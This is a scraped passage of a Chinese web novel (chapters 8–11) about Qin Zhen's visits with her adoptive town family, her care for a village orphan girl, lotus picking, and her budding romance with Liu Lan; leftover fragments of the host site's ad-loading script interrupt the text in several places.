'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “好!”快三岁的小娃说话逐渐利索,能懂的也更多,知道蜜枣是甜甜的吃的。 “别让他吃太多,上次他舅舅过来买了好些饴糖,天天缠着要吃,怕把牙给吃坏喽。” 林青娘看她这么喜欢小孩,到底没说什么。 进了门,不远处就是灶房,菜刀和砧板碰撞出咚咚咚的声响,是吴春梨和田丰在备菜。 周安抱着女儿盼盼在院子里转悠,才三个月大的娃娃,不是央人陪着她便是好奇身边的一草一木。 “蓁蓁。”周安刚对妹妹扬起笑脸,看到窝在她怀里的调皮小子后嘴角不自觉地落下。 周辰有姑姑保他,假装没看到,抱紧秦蓁,只余后脑勺给他爹。 秦蓁拍了拍小孩的后背,边笑边对着周安摇头。 碍着妹妹的面子,周安只好暂且记下这笔账。 田丰听到动静,手里的鸡都没放下就出来了。“蓁蓁!好久没尝田叔的手艺了,今天记得多吃点!” “好,田叔做的菜总能让我多吃一碗。” 田丰听了,顿时喜滋滋进灶房忙活去了。 吴春梨洗净手,招呼秦蓁去屋里,“蓁蓁,过来吃些糕点,还有赵叔今早买的寒瓜,叫你哥给你破开。别惯着辰辰,每次你一过来他便乐翻了天。” “知道了嫂子。”秦蓁和小娃娃对视一眼,两人都偷着乐。 吴春梨无奈一笑,但秦蓁向来有分寸,不必担忧太多,她当即回灶房打下手。 因秦蓁过来了,林青娘一阵欢喜,倒是把茶水点心之类给忘了。好在都是一家人,也不在意这些。 “李叔和赵叔呢?怎么没见着人?”有三坛酒这个引子,应当很快会出来才是。 秦蓁抱了周辰好一会,现下累了,只能把他放下。小孩在姑姑面前还是很乖巧,没有哭闹,也不吵着要吃蜜枣。 男娃娃皮实,进了家门林青娘便不多管了,由着他自己乱窜。 “他们两个去撒雄黄了,虽然在镇上,里里外外也少不了蚊蚁蛇虫,我让他们仔细着点,多撒些。家里有两个小娃,可不能马虎。” 镖局地界大,是个三进的院子,出了几趟镖,挣到钱之后周大石和田丰几个兄弟凑钱买的。 周大石家里原本有几个弟兄,他离家前相处得挺好,可惜回来后都变了模样。一大家子为了几个铜板和一些鸡毛蒜皮的小事吵得不可开交,周大石自己一人是不打紧,可林青娘也是个泼辣的,闹到她头上了少不了骂上几句。周大石怕媳妇气坏了身子,同人一商量便决定搬出来。 正好新买的院子房间多,兄弟几个也是好相与的,处久了和一家人没甚区别。 秦蓁的背篓被周大石放在屋里,她找出包了蜜枣的油纸,拿了一颗给周辰。 面上是来镇上沿街买的吃食,秦蓁一一摆开。 “又买这么些,说了留着你自己吃。” 底下的大布包装得满满当当,秦蓁边解开,边说:“你们肯定都买我爱吃的,我也想买叔婶爱吃的,我不常来镇上,就当是尽尽孝心了。” 林青娘不好再说什么,只得接过秦蓁递来的衣裳。 “两套夏衣和几方帕子,青婶你看看合不合心意。” “蓁蓁你做的,哪会有不满意的地方?”话虽如此,可林青娘还是忍不住多看了几眼。 她家蓁蓁手巧得很,一针一线都落在她心坎上。 8. 第8章 李青山和赵虎撒完雄黄,一听周大石说秦蓁来了,连忙收拾好东西过来。 “李叔,赵叔,给你们都做了两身夏衣,看合不合身。” 秦蓁才十八岁,虽不如经验老道的绣娘,但从小由徐清媛教导,手艺自然是顶好的,在镇上也小有名气。制衣对她而言不算难,只是不常做,不敢保证万无一失。 李青山走得快了些,双肩一高一低,周围人早已习惯,平日里相处也将他当做常人对待。 “我们几个糙汉子穿什么不是穿,蓁蓁你别做这么多,歇歇眼睛。” 赵虎跟在后头应和。 除了周大石,另外三个大老爷们无妻无子,是以将秦蓁当作自家女儿,他们几个没什么大本事,但挣的银两足够秦蓁过上好日子,只是秦蓁有自己的想法,不愿平白花费叔伯的血汗钱。 既然强求不得,能劝说几句也是好的。 “李叔放心,不碍事的,赵叔给我的枸杞和桑叶等药材我都有冲泡。” “那就好。” 好些日子没见,几人想同秦蓁说的话拿箩筐都装不完。 太阳渐高,周安把女儿盼盼交给林青娘照顾,自己去灶房给媳妇扇风。 其余人帮不上忙,老老实实坐在堂屋里话家常。 林青娘锁了秦蓁送她的那坛梅子酒才过来。 按理来说都是一家人,没有防贼上锁的规矩,可几个汉子有一个算一个,脑袋里除了舞刀弄棍就只剩数不清的酒虫,家里一坛酒都存不住。 周安有媳妇管着,不敢太过放肆,几个老的毫无顾虑,挣的钱多数往酒坊里扔了。 看得林青娘心中火从脚烧到顶,直把几人的银钱扣了,酒鬼们这才消停。只是一旦馋虫上来了,那得把兵书滚个来回才算完。 为了少些折腾,林青娘允许他们一月三旬每旬痛痛快快喝一顿,至于走镖时则另有分寸。 等到酒坊伙计敲门送货,三个人跑得比战马还快。 周辰不知道爷爷们在干什么,也笑嘻嘻跟在后面跑。 盼盼窝在阿奶怀里,只盯着陌生的姑姑瞧。 秦蓁拿蒲扇遮住脸,又快速移开,直逗得小孩咯咯笑。 临近午时,备好的菜肴陆续端上桌,吴春梨最后端出一小盆雄黄酒给俩小孩洗脚。 盼盼乖巧的任人摆弄,周辰还以为在玩耍,抬起脚后重重踩下,水花溅了周安一身。 田丰在一旁大笑:“这小子少不了一顿打。” 吴春梨又气又好笑,不过更多的还是庆幸自己忙着摆碗筷,把事情撂给了孩子他爹。 这下秦蓁也帮不了了,趁着周辰没求助,偷偷躲进屋里。 林青娘没走多远,也遭了殃,不过沾上的地方不多,倒不用再换件衣裳。 小娃见长辈们面容有异,喜悦的脸也渐渐变成了另一幅模样。 赵虎看人还没进来,吆喝了一嗓子。 周辰的危机暂且解除,被亲爹带过去吃饭。 今天有酒助兴,几个大老爷们舒畅得很,不过有女眷在一旁,声量收敛了许多。 秦蓁坐在林青娘和吴春梨中间,三个人讲着小话。 盼盼已经喂过奶了,被周安抱着再喂点米糊糊,周辰则在爹爹旁边乖乖扒饭,够不到的喊李爷爷帮他夹。 女人家一般饭量小,吃完后见汉子还要喝上几碗的架势也不管,擦了擦嘴一同去给秦蓁备的厢房。 田丰本就是伙夫,灶台上的事他都能干,周家父子则是被媳妇训出来了,洗碗筷之类的杂事不敢不从。 小孩由婆媳俩带着,到了厢房后把人往炕上一放,只需坐在边沿护着便好。 周辰嘴里含着颗蜜枣,手里还拿了一颗饴糖,倒是不怎么闹腾。 林青娘招呼秦蓁过去柜子旁,柜门一开,只见除了她在这边常穿的衣裳,还有两摞布料。 “见你喜爱这些,他们爷几个经过其他地界时把新颖的布料买了几块,我和你嫂子挑了几件衣裳,样式好看,花纹也衬你,你试试。” 镇上总归比不上府城,从外边来的物什要过上好几个月甚至是几年才会传到他们这种小地方,好在平安镖局有了名声,同府城的接触日渐频繁,除了消息灵通,连贩夫走卒都多了不少。 秦蓁的绣品有时能卖上高价,不乏有布料让人耳目一新的原因在。 女子的手拂过那些布料,指尖最后落在衣裳上,颜色是她中意的湖蓝、晴蓝和新绿之类,“青婶和嫂子费心了。” “这是说的什么话?”林青娘瞪她,手上则将衣服递给她,“试试看。” 秦蓁依着两人挨个试,五件衣裳各有千秋,和秦蓁级配,夸得林青娘只会说好看。 相聚的时光总是短暂,三人不过是话了些家常,就到了秦蓁该回家的时辰。 林青娘提了秦蓁的篓子过来收拾东西,布料、吃食、小玩意儿……杂七杂八一大堆东西,把背篓填得满满当当。 镖局里养了几匹马,是走镖时得力的伙计,用来送秦蓁回去再合适不过,但是秦蓁不愿太过招摇,是以周大石挑了匹最好的骡子让周安去护送。 一众人从巷子一路送至镇外,中途还买了两个寒瓜和其他水果。 秦蓁劝不动,只得收下。 告别后,骡车在较为平坦的道路上驰行,此时离傍晚尚早,带起的风还残留着午时的燥热。 周安喝的酒少,能清醒地同秦蓁聊近来在走镖时的各种经历,不像他爹和几位叔伯,喝得面红耳赤,还叫唤着要比武,被他娘训了一顿才安分。 秦蓁几人离席时还好好的,李青山估摸着她们不会再过来了,招呼几人凑上私房钱又买了三坛回来,周安的钱都在媳妇那,蹭了一碗便不再多喝。 日头西斜,将秦蓁送到家后,周安也不多待,喝水解了渴意又往回走,尽量赶在日落之前回家。 秦蓁收拾完零碎的一大堆东西,看天色准备去灶房切好菜备着,却听到外头有点别样的动静。 她一出门,只见柳岚挥动锄头正在锄草。 “柳岚?” 男子回头一看,眼里的惊喜藏都藏不住:“回来了?怎么不住一晚?” 柳岚常年在村子和镇上之间奔波,依旧会感到些许的疲累,更别说秦蓁了。 秦蓁没说别的,只道:“家里凉爽。” 柳岚忍不住笑,顺手擦了擦滴落的汗水。 “过来歇歇,”秦蓁朝他招手,“怎么过来锄草了?” 柳岚将锄头靠在墙边,提起装了野菜的篮子走过去,“本想着撒完雄黄就回去,见草太深,只好拿锄头来除了。” 秦家周围一圈被锄了个干净,远非秦蓁那点力气能比。 “麦子不用管?” “我哥守着。” 秦蓁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 听柳岚说过,他和他大伯家一同忙活,到时给他分三成的粮食。 两家人都不用交田税,自然不会在分配的事情上闹矛盾,不过说到底,无论如何都是柳岚得了好处,因此他干活从不含糊,平日里也会借着挣钱的名号买些肉酒等物到大伯家。 这次柳岚惦记着秦蓁,赊了一只烧鸡给他哥才得以出门。 门口吹来一阵凉爽的风,两人垫着小板凳在檐下纳凉,说了会小话,秦蓁估摸着柳岚应当要回去了,便将今日带回来的东西整理了半筐出来。 两个寒瓜和之后买的水果足有一筐,关系亲近的人秦蓁都准备送点,可没想到分来分去柳岚的那份竟是最多的。 秦蓁脸颊微微发烫,确定其他人的东西无误后,还是将那半筐都给了柳岚。 柳岚接过时想说些什么,可一想起上次的事,最终还是没有开口。 他当然知晓寒瓜等物的价值,但秦姑娘丝毫不在意,她大概和自己一样,只是想将自己觉得合适的东西送予对方。 —— 柳岚大伯家,柳文轩盯着背篓里的东西哑口无言。 过了好一会,他才开口问道:“阿岚,你这……不会是东边那位吧?” 村子里能有这么大手笔的不多,柳岚出门的时间又不够去镇上,仔细一想,似乎只有东边住着的秦蓁姑娘了。 柳岚迟疑着点头。 他们这边不兴在定亲前告知旁人自己的心怡对象,毕竟定亲后都有可能出现意外,更别提不稳定的追求时期了。 原先有个汉子天天宣扬要娶某家的姑娘,传来传去竟成了双方有意结亲,女方辩解过几次,却只是徒劳,最后女子嫁不成心怡的男子,也没有碍于风言风语被迫嫁给那人,反而相看了另一家的男子选择远嫁。 这事闹得不好看,女子与那汉子家也结了仇。 好像自那时起,十里八乡便少了这类事故,未婚男女也不再多提对哪家有意。 不过他哥平时只是看着不着调,万事心中还是有一杆秤的。 柳文轩从他人的话语里以为秦蓁是位高傲的姑娘,毕竟她拒绝了张家地主和李家秀才的提亲,连镇上好些公子哥都看不上。 可他家阿岚在外人看来又没什么好图谋的,这让柳文轩一时有些疑惑。 但这是两人之间的事,就算他作为兄长也不该指手画脚,于是柳文轩没多说,只是让柳岚好好斟酌。 一大堆东西放在家里极其显眼,柳岚想瞒也瞒不住,更何况他并无此意,又不是见不得人的勾当,没什么好遮掩的。 对于柳岚自己选择的姑娘家,柳望山一家并无异议,但于红英心中还是喜忧参半。 喜的是秦蓁这姑娘模样好,教养不输镇上的一些小姐,还能挣钱养家,忧的则是她下不了地,她家阿岚得多费些力气。 于红英对于小姑娘之间的事不甚清楚,只能私底下问问自家儿媳:“春苗那丫头是不是常去秦家绣花?” 谭月晓得婆婆想打什么主意,坦言道:“放心吧娘,我有时听她们闲聊,十句里有八句是在夸秦姑娘,说明这人挺好,不会有那清高的做派。” 秦蓁她娘以前倒是会在村里走动走动,可她再怎么说,还是和其他人不一样,骨子里的清高做不了假。而秦蓁除了同那群姑娘接触,只与关系好的几家来往,是以村里大多数人对她的印象还停留在她母亲那般。 9. 第9章 今年日子还算不错,自割麦起一直是晴朗的天,晒干了水汽的麦子被装进瓮中或是麻袋里,除去要上交的税粮和自家的存粮,剩下的多数会运到镇上,趁着新麦价好卖给粮行。 随着一辆辆牛车驴车满载而行,又驾着空车笑意盈盈,五月的农忙暂且告一段落。 秦家的小院里则迎来了一位许久不见的小姑娘。 “姐姐——”一道身影跑过,猛地扎进屋里。 大概六七岁的小孩穿着灰扑扑的衣裳,歪七扭八的线勉强挂着好几块补丁,头发也乱糟糟的,只胡乱编了两个小辫子,她看起来和小院格格不入,行为举止间却带着几分熟稔。 “彤彤,这边。”秦蓁唤了声。 柳彤立马朝着声源处而去。 秦蓁收了针,见小孩奔过来,起身过去牵她。 小姑娘只有脸颊和小手是干净的,她知道自己身上脏,因此只拿两只小手抓紧秦蓁,没有碰到其他地方。 秦蓁带她进屋,端了一叠糕点和柳岚送的野果。“吃吧。什么时候回来的?” 柳彤抓了一块糕点,小口小口啃着吃,碎渣都落在另一只手的掌心。 她默默数了天数,回道:“八天前回来的。哥哥四天去了大伯家,三天去了二伯家,还有一天在小叔那里。” 柳彤只剩十五岁的哥哥相依为命,血缘亲近的亲戚家日子过得不温不火,对兄妹俩一般,能帮衬的尽量拉一把,不至于让两人饿死。 柳彤娘是在生她的时候难产走的,她爹听到消息后心神恍惚,一不留神从山坡上跌落,摔断了手脚,原本强壮的汉子一下失了心气神,熬了几年也去了。本就摇摇欲坠的家只留下两个孩子和五亩田地,念在孩子年幼,族里决定将田地暂且由几家叔伯耕作,收割后分一部分给兄妹俩。有族里的长者差人守着,柳家叔伯倒也安分,不敢克扣孩子的口粮。 男子十五岁之前不用交田税,但柳彤的哥哥已经到了年限,不得不为这事奔波。 他去叔伯家帮忙,倒不是指望着将五亩地重新收回,也不是想着多分些粮食,而是准备让人照顾妹妹。 春耕结束后柳文将柳彤托付给小舅,自己则去镇上找活计,虽然舅母嫌弃得紧,但几家亲戚里只有小舅家好过些。 不过这也不是长久之计,因此柳文急需解决妹妹的去处。 秦蓁知道柳彤家里的情况,不过她一个外人,能做的事情有限,顶多帮小孩缝补几件衣裳,再给些零嘴填肚子。 “来,姐姐给你把辫子扎好。这是你自己编的?” 秦蓁手巧,几下就拆了原先的辫子。 “不是,是哥哥编的。” 秦蓁忍不住笑,看得出柳彤的哥哥确实是费了些心思的。 头绳已经褪色,秦蓁记得自己存了几根,起身去翻找,柳彤乖巧地跟在她身后,偷偷摸摸捋顺干枯的头发。 和头绳一起拿出来的还有一身小衣裳,是秦蓁用自己的旧衣改的,比柳彤身上那件好看又干净,且没有补丁。 小姑娘换上后再编好辫子,整个人精神了许多。“姐姐,真好看!” “是啊,彤彤穿着真好看。”可惜自己不能送给她,秦蓁暗自叹气。 秦蓁又寻出一身穿不了的衣裳,而后带着小姑娘去河边拆洗。 柳彤看着年纪小,今年已经八岁了,不过比同龄人瘦弱的她反而更有韧劲,什么事都能帮着干一点,从来不会喊累和哭闹。 秦蓁清楚她的性子,便顺着她陪人一起洗。 河边被柳岚修整过,搬了几块石头垒成阶梯状,地方也扩大了几分,让人不至于摔倒。 “姐姐,这里变好看了!” 小姑娘说不出个所以然来,只能用“好看”大概形容。 河边的芦苇依旧荡漾,规整的石阶探入水中,连着碧波又勾住远天,仅仅是一点小变化,带来的感官却格外不同。 “脚下当心,可别掉进河里。” “好。” 柳彤在村里没什么玩伴,哥哥又忙着照顾她,满腹的话语只有在秦蓁这里才得以宣泄,叽叽喳喳的童声在耳边说个不停,秦蓁却没有半分烦躁,还时不时接上一两句。 衣裳晾在竹竿上,今日层云遮住了扶光,但炎热的气候还是能让水气快速蒸腾出来。 秦蓁从镇上带的东西里有好些小玩意,她挑了几个较为寻常且不打眼的给小丫头玩。 柳彤得了新的耍货,喜悦的心情溢于言表。“谢谢姐姐!” “自己去玩会。” “好!” 柳彤把每个都仔仔细细看了一遍,若是有格外喜欢的还会轻轻摸两下,她选来选去,最后拿了个竹蜻蜓。 秦家这边地界大且无人打扰,她不用怕会有人抢走。 小姑娘水灵灵的大眼睛坠了莹光,两手一前一后搓动,竹蜻蜓便飞在了空中。“姐姐!看!” “彤彤好厉害。” 柳彤咯咯笑出声,捡起落到地上的竹蜻蜓,又开始转动。 秦蓁在小菜地里寻摸着可以摘的菜,在空隙里看到她忙忙碌碌的小身影,脸上也不自觉带着笑意。 大概过了一个时辰,衣裳完全干透,秦蓁便将补丁重新缝好,柳彤依依不舍地换下秦蓁好看的衣裳,还偷偷摸了摸。 秦蓁见着她的小动作,只拍拍她的小肩膀以表安慰。 柳彤懂事,知晓自己不能穿回去,她小小请求道:“姐姐,我下次还穿这件好不好?” “好,”秦蓁答应着,“你把篮子提回去,让哥哥多做两道菜。” 小姑娘点头,郑重地把篮子抱在身前,向秦蓁告别。 秦蓁目送小姑娘迈着轻快的脚步远去,菜篮子底下藏着那些小玩意,她按捺不住,空出一只手去拿竹蜻蜓,左摇右晃着消失在拐角。 秦蓁知道,等到了人多的地方,机敏的小丫头就会将东西藏起来。 —— 晨光熹微时,树枝间跳跃着的鸟儿们叽叽喳喳叫唤出声,秦蓁敲打夏季轻薄的衣裳,利落地把水拧干。 她衣裳不多,比旁人快些。 李青竹抽空招呼了一声:“秦姐姐,待会不必着急,慢慢过来就是。” “好。” 姑娘们前几日便约好了去南边的水塘里采莲,大概怕有人忘记,李青竹又提了一嘴。 从村子里沿河绕弯的不远处有一汪水塘,每到夏季只见片片荷叶在水面上铺开,其间或白或红的水芙蓉错落有致,引得姑娘们探身闻香。 偶有年轻男子也会采上一两朵去讨心上人欢心。 一行十几人伴着清凉的晨风向南而去,秦蓁依旧坠在最后边,她只来过几次,对周围的风景兴致颇高,而其他人早已熟悉村子周边的一草一木,是以心神都记挂在此行的目的地。 秦蓁收回目光时余光好似看到了身后坠着的一道身影,她回头一看,竟然是小丫头柳彤。 注意到秦蓁的动静,其他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人也渐渐停留在原地等待着。 柳彤之前常在秦蓁家玩耍,乖乖巧巧从不吵闹,因此众人对她还算熟悉,也并不排斥。 “各位姐姐好。” “彤彤怎么过来了?” “没有和哥哥一起吗?” 柳彤跟在秦蓁身旁,一一回答其他人的问题。 嬉闹间已经到了水塘边,姑娘们从小竹屋里拖出几条竹筏,按之前分好的各自上竹筏。 小丫头年纪还小,连泅水都不会,下水塘有一定的风险,只能留在边上。 “彤彤,离水边远些,别贪玩。” “好。” 秦蓁没甚么目的,只是想着同大家出来走走,竹筏上最清闲的人便是她,可惜她不会撑筏子,只能由技艺颇高的柳瑶来掌舵,她则帮忙摘荷花、菱角等物。 一条条竹筏沿着前人的路线四散开来,姑娘们各自去采摘自己所需的部分。 荷叶亭亭立在水面上,为坐在竹筏上的姑娘们撑起一片阴凉,最深的地方足有一人高,连撑船的姑娘也能藏匿其中。 李青竹将有脱落迹象的花瓣一片片摘下,仔细放在备好的竹篮里,听说茶叶同花瓣一并存放后冲泡时会有花瓣的清香,夏日荷花繁盛,正是试手的好时机。 柳瑶视野好,能轻松看到成熟的莲蓬并摘下,随着竹筏慢慢向前推进,她身前的竹筐也渐渐堆满了莲蓬。 菱角则躲在水面之下,需拨开叶片才能摸索到,不过也有巧手靠着往日的经验直接采摘,十回里有八回摸中,省下了不少时间。 水塘再宽阔也总归有尽头,行至后半程时,几人在荷叶林里发现另一行人的身影,好似老友重逢,两方都有些欣喜。 “你们摘了多少了?” “还有两个筐子就满了,这边的莲蓬格外多!” “我们这边菱角也多,待会上岸分一分。” “好嘞!” 筏子继续朝着前方行去,双方的聊天随着渐远的距离而中断,后面没有再遇到其他人,大家趁着日头暂未升高快速采摘,把竹筐竹篮塞得满满当当。 柳彤摘了片大荷叶当油纸伞,清风拂过,满面都是荷香。 说话声越来越近,不远处挺立的荷叶也向两旁倒去,尚未绽放的菡萏颤颤巍巍,被人摘下后落在垫了荷叶的篮子里。 “姐姐!” “彤彤离远些,别过来。” 小丫头乖乖的往后走了几步,确认不会妨碍到大家后站定。 站前头的柳瑶稳住竹筏,引着大家下来。 归来的姑娘们聚集在一起,看着一筐筐收获满脸笑容。 该怎么分配来之前便已经说好了,先一起分,多出的部分给有需要的人,之后再同别人换。 大家经常一起出来,早已习惯这种方法,因此相互之间少有吵闹。 秦蓁自知出力少,也不太擅长处理这些,只拿了一篮子菱角和几支荷叶荷花。 柳彤也分到了一些,不过小丫头没带竹筐,只能拿荷叶包好放在秦蓁筐子里。 一行人满载而归,或戴或撑着荷叶伞回村。 颇有分量的背筐丝毫未影响大家前进的脚步,且有余力约好下一次该干什么。 姑娘们纷纷应和,毕竟她们都到了适婚的年纪,好些个早已订亲,只等婚事一办前往夫家。 嫁到邻村的姑娘倒还好,过年过节总能有时间回娘家,至于嫁得远的,几时能回来也是未知了。 10. 第10章 闲适的时光宛若白驹过隙,姑娘们各自归家,继续在家里忙活着。 秦蓁将柳彤送至家门口,却发现院门紧闭,不像是有人在家。 “你哥哥不在家?” 小丫头只顾着玩,倒是忘了同秦蓁交代哥哥的叮嘱。“哥哥说他去堂哥家里,让我午时之前回家就行,要是不想玩了,也可以去堂哥家找他。” 柳家支系庞杂,秦蓁并不知晓柳彤所说的堂哥是哪家的。“你堂哥家在哪?姐姐送你过去?” 柳彤听出了秦蓁要忙碌的意思,没空照顾她,只好乖乖带人过去。 两人朝村尾走去,行至半程,秦蓁骤然想起柳岚家好似也在这片。 她平日里深居简出,对村里其实算不上熟悉,除了洗衣、拾柴和挖野菜之外甚少出门走动,邻里乡亲都知晓山货郎家在哪,秦蓁却并不清楚。 回神之际,柳彤已经将她带到一户人家的门口。 土夯的院墙低矮,墙面坑坑洼洼,显然是经历了多年的风雨,墙内的房屋也差不太多,只是因为要住人,外表看起来更牢固些。 从门口望去,只见堂屋上头盖了一层瓦片,料子似乎用的是青砖,而其他屋子则是泥砖房,盖的茅草看得出是今年新换的。 院门敞开,但秦蓁还是准备敲门示意,柳彤大概是很少过来这边,也没有贸然冲进去找哥哥。 就在秦蓁准备抬手时,院子里走出一道身影。 柳岚见到秦蓁过来了很是惊喜,又看她身边跟了个小姑娘,转头朝屋子里喊道:“小罗,你妹妹来了。” “秦姑娘,进来坐坐?”他问得自然,却无人知晓他为此愁了几个日夜。 房子是他爹娘成亲时新建的,大伯家帮了许多,建成后比邻居家气派些,当时在村里也算得上体面。 不过后来几经波折,柳岚爹只留几两碎银便意外去世,柳岚也暂时没了娶亲的心思,一时便忘了房子的事。 屋里存了不少山货,都是受不得潮的物什,因此柳岚对于房屋的修缮格外上心,再加上爱护得当,即使是二十多年前的房子也不比新建的差。 只是柳岚一想到秦姑娘家境优渥,便不由得生出一股怯意,怕这段时间好不容易获得的好感会因此烟消云散。 可他转念又觉得不必过于在意,若是两人真到了谈婚论嫁的程度,门不当户不对的隐患终究会暴露出来,倒不如让秦姑娘早日面对,至少有圜转的余地。 寻柳村在周围村里算得上富足,近些年来土墙推倒又垒新砖,多数人家早已住上了青砖瓦房,而柳岚经过好几年的积累,手里的银钱并不少。 柳岚若是想新起一栋房子并非做不到,祖辈推崇人丁兴旺,丈量的地基自然是越大越好,房子也并非当即要建好,留出一片空地临时再建是多数人家的做法。 柳岚爹当年手头上并不富裕,往外扩了扩也只占划定地基的六七成,按柳岚如今的本钱,完全可以将整个地基建墙围起,里头再慢慢建造青砖瓦房,等建成了也会是受人夸赞的好房屋。 柳岚心中早有定夺,他会向秦姑娘表明自己有能力养得起她,让人没有忧虑同他商量婚嫁之事,不过在此之前,他更希望秦姑娘可以包容他贫苦的前半生,不至于像他娘一样逃离。 柳罗出来领自家妹妹,察觉出两人有话要说,悄悄带人进屋了。柳彤本想说些什么,见哥哥朝她摇头后便咽了回去。 秦蓁被兄妹两逗笑,朝着柳岚道:“改日吧,摘了些菱角,得回家处理一番。可有空余的篮子?” 柳岚从心上人的笑颜中回神,急忙去拿篮子过来。 秦蓁卸下背筐,将荷花荷叶拾出来后把一大半菱角倒进篮子里。 “秦姑娘,够了,多留些给自己。”柳岚来不及阻拦,等到出声时秦蓁已经背好了背篓。 “这一包是彤彤的,待会你转交给她可好?” “好。” 秦蓁看着自己握着的绿茎,分出三根给柳岚,“新摘的荷花在水里养几日依旧有清香,也可以放在屋里装点,我就先回去了?” 柳岚呆愣愣点头,眼眸中只剩下心上人的倩影。 秦蓁悄悄回头,见人还立在原地,不自觉露出个笑,她蜷了蜷手,快步回家。 —— 因徐清媛吃不惯菱角,秦家很少食用。 尝鲜的那次是处理过的菱角,雪白的果肉堆放在碗里,可以轻松取食。 秦蓁第一次自己处理菱角壳,颇不得章法,剥下的果肉坑坑洼洼,不过只是她自己吃,倒不用在意太多。 李青竹同她说过,新鲜的菱角壳最软,需尽快剥下,若是等壳发黑了,里头的果肉倒不会坏,只是壳子愈发硬,得费大力气剥离。 秦蓁难得参与这般乐事,正在兴头上,暂且顾不上绣活,花了一上午将所有菱角剥开,即便是手心发红她也不在意,洗净后拿了一颗尝尝,生吃脆生,带有一丝淡淡的清甜。 秦蓁已经忘了当年的菱角是什么滋味,但总归没有自己采摘的好吃。 听说炖熟的菱角软糯鲜美,与肋排一同搭配味道更甚,秦蓁便尝试了一番,还特地蒸碗白米饭来享用。 家里只有秦蓁一人,她常常估摸着菜肉的用量,不敢拿取太多,今日胃口尚可,比平时多吃了半碗饭,可惜还是剩下了一点。 秦蓁遗憾不能在出锅时给柳岚送去一碗,现下只好吊在井里留着晚上吃。 或者……或者来日可以让饭量大的汉子处理吃不完的菜碗。 …… 近来都是艳阳天,秦蓁不得不在清晨和傍晚多费了些时辰在菜地里浇水,好在井水易得,河流也在院门口不远处,不用走远路去挑水。 菜地里立的竿子被草绳连结起来,一弧接着一弧,其后生长的菜藤一根根附上,逐渐形成一面绿墙。 黄蕊顺着藤曼绽放,不乏有新生的花骨朵,但最值得关注的还是日趋成熟的凉瓜和布瓜,因颜色和叶片相近,往往要多费些心神去找寻。 两者的结果期长,暂时不必担忧后头吃不上,是以秦蓁尽量挑大的摘,尚小的还有生长的余地,日后再摘也完全来得及。 村里人常常会留下最优质的果实等着结种,秦蓁没有挑选的经验,只能胡乱留些同批里长得最大的那几条。 一篮子很快装满,秦蓁一个人吃不完这么多,除去留给柳岚的,剩下的多数是送给邻居和偶尔来几次的姑娘们,以及常来玩耍的柳彤。 柳彤的哥哥柳罗不知跟着柳岚在做什么,据柳彤说天天见不着人影,但至少还记得自己有个妹妹。 且在知道柳彤常来秦家后,特地买了包糕点感谢秦蓁对柳彤的照顾。 当 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时陪同的长辈是于红英,柳罗家同叔伯的关系并不算亲近,左右是柳家的小辈,来日说不定还是在她家岚小子手下做活,她这个大伯娘自然是要过来掌事了。 说起来,那次还是于红英少有的近距离接触秦蓁,家教好的姑娘果然不一样,言行举止处处有礼数。于红英不知道镇上的小姐是什么做派,但若是岚小子能娶回家,好像也不亏,单说那手绣活就不得了了,听人说还会读书识字…… 她压下心中所想,准备回去后问问岚小子什么时候能把人定下来。 秦蓁不知这些事,她连于红英是柳岚大伯娘都不识得。 她只是在自家小院里做绣活,累了便歇会,想想那时的柳岚会做些什么。 “咚咚”两声门响,只见隔壁大儿媳田夏挎了篮子站在门口。“秦姑娘,家里豇豆长得繁,我娘叫我拿一把过来给你,好歹炒盘菜。” 豇豆容易老,留久了就不新鲜,赵家知道她的习惯,因此拿得并不多,刚好够一餐。 “正好我摘了凉瓜和布瓜,小夏嫂嫂也拿些回去。” 赵家有七口人,豇豆再多也扛不住天天吃,秦蓁特地各给了三条,足够一家人吃了。 知道田夏心里可能过意不去,她又道:“恰好我种的豇豆还没长好,下次可得烦请小夏嫂嫂再给我送些。” “秦姑娘放心,家里种得多,随时都能摘。”田夏笑开,心里感谢秦蓁愿意帮他们家。 收麦在炎热的日子里落下帷幕,人手少的家里也应当晒好了麦子,秦蓁从不催赵家交那三成粮,她的户籍挂在镇上,各种税收有她娘亲留的那笔钱交付,其他事项周家和几个叔伯都会帮忙打点,因此用不着担忧,也不必讨要那些粮食。 接触了这么久,秦蓁对于赵家的品性自然有一定的了解,否则当初不会将土地租给他们一家。 不过今年新认识了柳岚,她对土地的收成格外在意些,于是秦蓁朝田夏问道:“小夏嫂嫂,今年收成可还好?” “比往年好些,秦姑娘那两亩地格外好,青茂说约莫有三四石一亩,我家的地差些,不过也有一石左右。” 秦蓁知晓得不多,只能听出来两家的粮食都比去年多些,想来赵家的日子应当能好过不少。“总算能喘口气了。” 田夏应道:“是啊,能歇歇了。” —— 麦子收进瓮里不代表能歇息,地里的麦秆得挖开,地也得平整,若是太贫瘠了还需埋肥养地。水田的稻谷逐渐茁壮,杂草也冒出来头。 水田里的杂草比稻苗高些,很是醒目,不过要经过一片割人的稻叶去拔除,算得上是另类的折磨。以土地为生的农人早已习惯,晒得黝黑的身体丝毫不畏惧这些。 柳岚在水田里细细寻找是否有遗漏的稗草,他在山林和村里两头跑,来田里的时日少,虽说有大伯家帮衬着,可他还是得尽尽心。 即便是忙得脚不沾地,柳岚也还是会找时间去秦家一趟,或是偶然找到的山花,或是采到的山货。 上次大伯娘问起什么时候去秦家订亲,柳岚说不着急,自己却忙碌着把事情安排好。若是秦蓁同意订亲,无论她想何时成亲,自己都能做好准备。 柳岚锁好门窗在屋里细数着自己的积蓄,他暗自琢磨着从伯娘那里打听到的各项花销,除去建房子的银两,一笔一笔精打细算。 11. 第11章 河边的芦苇被风吹得微微晃动,沿着河水上游的更深处,羽翼渐丰的鸭仔跟在雌鸭的身后,时不时朝水下叨一口。 柳岚过来时秦蓁恰好在护目养神,她坐在檐下眺望远处,青翠的山峰一重叠一重,向着未知的远方绵延。 “秦姑娘。” 秦蓁瞧见柳岚的身影,起身朝门口走去,脸蛋上带着她自己并未察觉到的浅笑。 